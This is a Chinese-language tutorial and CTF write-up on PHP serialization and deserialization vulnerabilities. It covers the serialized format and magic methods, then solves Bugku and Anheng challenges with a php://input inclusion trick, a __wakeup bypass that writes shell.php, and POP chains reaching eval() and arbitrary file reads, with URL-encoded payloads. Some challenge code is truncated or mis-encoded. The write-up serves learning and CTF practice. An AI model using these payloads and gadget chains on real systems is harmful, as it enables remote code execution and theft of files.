序列化格式
php序列化後的內容是簡單的文字格式,但對字母大小寫和空白敏感,而字符串是按照字節(或者說是8位的字符)計算的,因此更適合的說法是php序列化的內容是字節流格式
布爾型
bool:<digit>
$a = true;
序列化後: b:1
整數型
int:<value>
$a = 1;
序列化後: i:1;
double型
double:<value>
$a=1.23;
序列化後: d:1.23
另外如果序列化無窮大或序列化超過php能表示的最大數
d:INF
負無窮大
d:-INF
超過php的最小精度
d:0
字符串
string:<length>:<value>
$a="nice";
序列化後: s:4:"nice";
NULL
$a=null;
序列化後: N;
陣列
array:<length>:{<key>:<value>;....}
$a=array("php","is","the","best","language")
序列化後: a:5:{i:0;s:3:"php";i:1;s:2:"is";i:2;s:3:"the";i:3;s:4:"best";i:4;s:8:"language";}
對象
object:<class_name_length>:"class_name":<number_of_properties>:{<filed_name1>:<file_value1>;....<filed_namen>:<filed_namen>:<filed_valuen>};
//filed_name為字段名,字符串類型,它序列化後與字符串序列化一樣
序列化後: O:4:"mntn":3:{s:4:"name";N;s:3:"age";N;s:2:"ID";N;}
class Demo{
public $var1;
private $var2;
protected $var3;
}
$demo = new Demo();
echo serialize($demo);
//屏幕輸出O:4:"Demo":3:{s:4:"var1";N;s:10:"Demovar2";N;s:7:"*var3";N;}
實際上,對象中的變數被序列化時會發生改變
私有變數private 被序列化時 會變成 %00Demo%00var2 即 %00 + 類名 + %00 + 屬性名
共有變數public 被序列化時不改變
受保護變數protected 被序列化時 會變成 %00*%00var3 即 %00 + ‘*’ + %00 + 屬性名
在傳遞參數的時候需要帶上否則無法生效
對象序列化中的魔術方法
__construct
構造函式,初始化對象的時候觸發
class Test{
function __construct(){
echo "this is construct test";
}
}
$a = new Test();
__destruct
析構函式,對象銷毀的時候觸發
class Test{
function __destruct(){
echo "this is destruct test";
}
}
$a = new Test();
__toString
對象被當作字符串時觸發
class Test{
function __toString(){
return "this is test";
}
}
$a = new Test();
echo $a;
__sleep
類被序列化時會先調用__sleep
方法,返回需要被序列化保留的屬性
class Test{
public $var1;
public $var2;
function __sleep(){
return ['var1','var2'];
}
}
$a = new Test;
$b = serialize($a);
echo $b;
//O:4:"Test":2:{s:4:"var1";N;s:4:"var2";N;}
__wakeup
類被反序列化的時候會先調用__wakeup
方法
class Test{
public $var1;
public $var2;
function __wakeup(){
echo __METHOD__;
}
function __construct(){
echo __METHOD__;
}
}
$a = new Test;
$b = serialize($a);
unserialize($b);
綜合
class Magic_methods
{
public $var1 = "abc";
public $var2 = 1;
public function __construct(){
echo "run __construct</br>";
}
public function __destruct(){
echo "run __destruct</br>";
}
public function __toString(){
echo "run __toString</br>";
return $this->var1;
}
public function __sleep(){
echo "run __sleep</br>";
return array('var1','var2');
}
public function __wakeup(){
echo "run __wakeup</br>";
}
}
// 創建一個新對象,會先調用__construct()
$obj = new Magic_methods();
// 將對象當作字符串輸出,會先調用__toString()
echo $obj."</br>";
// 調用serialize()之前先調用__sleep()
$s = serialize($obj);
echo $s."</br>";
// 調用unserialize()之前會先調用__wakeup()
$data = unserialize($s);
echo $data."</br>";
// 此處又一次調用了__toString()
// 腳本執行完畢,即將銷毀所有創建的對象,此時調用__destruct()
// 反序列化恢復的對象被銷毀,再次調用__desruct()
// 所以這裡調用了2次__destruct()
題目
error_reporting(0);
include "flag.php";
$KEY = "D0g3!!!";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
echo "$flag";
}
利用前面的構造反序列化字符串知識可構造s:7:"D0g3!!!"
,提交即可
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
首先需要利用的是file_get_contents()
來達到包含任意文件的目的,利用php偽協議php://input
可以控制內容。
以前一直認為php://input
只能接收POST請求提交的數據
但是測試的時候GET也可以獲取到原始數據流,實際上
php://input
可以讀取http entity body中指定長度的值,由Content-Length
指定長度,不管是POST
方式或者GET
方法提交過來的數據。但是,一般GET方法提交數據 時,httprequest entity body
部分都為空。
php://input 與$HTTP_RAW_POST_DATA讀取的數據是一樣的,都只讀取Content-Type不為multipart/form-data的數據。
也就是說明GET
請求也可以在請求的body中傳入原始數據流讓php://input
接收
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "涓嶈兘鐜板湪灝辯粰浣爁lag鍝�";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
可控制 $file
來達到文件讀寫,利用反序列化漏洞,因為序列化儲存類的屬性,所以可構造
class Flag{
public $file;
}
$a = new Flag;
$a->file = flag.php;
echo unserialize($a);
即可控制讀取的文件
__wakeup
漏洞
當php是低版本時存在漏洞,當輸入的反序列化的對象個數大於真實的個數時,會使得__wakeup
函式失效從而可以繞過,同時對象被銷毀,執行__destruct().
所以攻擊者可以繞過__wakeup
調用精心設計的__destruct()
方法
利用
class A{
public $a = "test";
function __destruct(){
$fp = fopen(__DIR__.'\shell.php',"w");
fputs($fp,$this->a);
fclose($fp);
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up...\n";
}
}
$test = $_POST['test'];
$b = unserialize($test);
poc test = O:1:"A":2:{s:1:"a";s:27:"";}
構造pop鏈
error_reporting(0);
class lemon{
protected $classObj;
function __construct(){
$this->classObj=new normal();
// 私有變數$classObj 複製為新類normal的對象,並且調用了該類的方法action
// 但是有趣的是,另一個類evil 也有同名方法action
// 所以可以構造pop 鏈,使得其在__destruct 方法中調用evil 類里的action 方法
}
function __destruct(){
$this->classObj->action();
}
}
class normal{
function action(){
echo "hello";
}
}
class evil{
private $data;
function action(){
eval($this->data);
}
}
unserialize($_GET['a']);
//poc
<?php
class lemon{
protected $classObj;
function __construct($classObj){
$this->classObj = $classObj;
}
}
class evil{
private $data;
function __construct($data){
$this->data = $data;
}
}
$e = new evil('eval("$_GET[${s}]")');
$a = new lemon($e);
echo urlencode(serialize($a));
安恆 月賽題
@error_reporting(1);
include 'flag.php';
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches);
//O:4:"baby":1:{s:4:"file";s:8:"flag.php";}
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
}
}
else
{
highlight_file("./test.php");
}
安恆 2019 一月月賽
當時沒做出來,賽後也沒總結,現在拿出來再分析一下
skyobj = new sec;
}
function __toString()
{
if (isset($this->skyobj))
return $this->skyobj->read();
}
}
class cool
{
public $filename;
public $nice;
public $amzing;
function read()
{
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "you must be joking!";
}
}
}
}
class sec
{
function read()
{
return "it's so sec~~";
}
}
if (isset($_GET['data']))
{
$Input_data = unserialize($_GET['data']);
echo $Input_data;
}
else
{
highlight_file("./test.php");
}
?>
首先明確利任意文件讀取的利用點是 __toString
方法,然後看到__toString
方法下面有一個read()
方法,很明顯要利用cool
里的read()
方法來達到目的。明確目標就可以來構造pop
鏈
cool
的read()
方法需要反序列化一個類,這個類很明顯是baby
類,而且需要滿足$aaa=$bbb
,發現$aaa
會被重新賦值,而且無法控制,這裡可以用地址符來保證一定相等
構造amzing
class baby{
protected $skyobj;
function __construct()
{
$this->skyobj = new cool;
}
}
$a = new baby();
$a->bbb = &$a->aaa;
echo urlencode(serialize($a));
//O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3BN%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3BN%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BR%3A6%3B%7D
然後可以構造完整exp
class cool{
public $filename = 'flag.php';
public $nice;
public $amzing = 'O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3BN%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3BN%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BR%3A6%3B%7D';
}
$c = new baby();
echo urlencode(serialize($c));
//O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3Bs%3A227%3A%22O%253A4%253A%2522baby%2522%253A3%253A%257Bs%253A9%253A%2522%2500%252A%2500skyobj%2522%253BO%253A4%253A%2522cool%2522%253A3%253A%257Bs%253A8%253A%2522filename%2522%253BN%253Bs%253A4%253A%2522nice%2522%253BN%253Bs%253A6%253A%2522amzing%2522%253BN%253B%257Ds%253A3%253A%2522aaa%2522%253BN%253Bs%253A3%253A%2522bbb%2522%253BR%253A6%253B%257D%22%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BN%3B%7D
學習了~